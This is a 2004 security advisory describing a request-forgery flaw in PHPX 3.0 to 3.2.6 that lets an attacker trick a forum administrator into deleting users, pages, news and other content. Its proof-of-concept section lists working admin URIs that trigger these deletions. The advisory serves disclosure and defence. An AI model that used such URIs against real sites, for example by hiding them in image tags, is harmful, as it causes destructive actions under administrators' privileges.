BID:10284

PHPX Multiple Administrator Command Execution Vulnerability

Info

PHPX Multiple Administrator Command Execution Vulnerability

Bugtraq ID:	10284
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 05 2004 12:00AM
Updated:	May 05 2004 12:00AM
Credit:	Disclosure of these issues is credited to JeiAr <[email protected]>.
Vulnerable:	PHPX PHPX 3.2.6 PHPX PHPX 3.2.5 PHPX PHPX 3.2.4 PHPX PHPX 3.2.3 PHPX PHPX 3.2.2 PHPX PHPX 3.2.1 PHPX PHPX 3.2 .0 PHPX PHPX 3.1.4 PHPX PHPX 3.1.3 PHPX PHPX 3.1.2 PHPX PHPX 3.1.1 PHPX PHPX 3.1 .0 PHPX PHPX 3.0.7 PHPX PHPX 3.0.6 PHPX PHPX 3.0.5 PHPX PHPX 3.0.4 PHPX PHPX 3.0.3 PHPX PHPX 3.0.2 PHPX PHPX 3.0.1 PHPX PHPX 3.0

Not Vulnerable:

Discussion

PHPX Multiple Administrator Command Execution Vulnerability

It has been reported that PHPX is affected by multiple administrator command execution vulnerabilities. These issues are due to a failure of the application to properly validate access to administrative commands.

This issue could permit a remote attacker to create a malicious URI link or embed a malicious URI between bbCode image tags, which includes hostile HTML and script code. If an unsuspecting forum administrator activated this URI, the attacker-supplied command would be carried out with the administrator's privileges. This would occur in the security context of the affected web site and would cause various administrator actions to be taken.

Exploit / POC

PHPX Multiple Administrator Command Execution Vulnerability

No exploit is required to carry out these issues. The following URI requests are reported to take actions against the affected application, [VID] is an arbitrary attacker-supplied unique identifier:

http://www.example.com/admin/page.php?action=delete&page_id=[VID]
http://www.example.com/admin/news.php?action=delete&news_id=[VID]
http://www.example.com/admin/user.php?action=delete&user_id=[VID]
http://www.example.com/admin/images.php?action=delete&image_id=[VID]
http://www.example.com/admin/page.php?action=deletePoll&poll_id=[VID]
http://www.example.com/admin/forums.php?action=words&subaction=delete&word_id=[VID]
http://www.example.com/admin/forums.php?action=flag&subaction=delete&flag_id=[VID]
http://www.example.com/admin/forums.php?action=xcode&subaction=delete&xcode_id=[VID]

Solution / Fix

PHPX Multiple Administrator Command Execution Vulnerability

Solution:
The vendor has released an upgrade that deals with these and other issues.

PHPX PHPX 3.0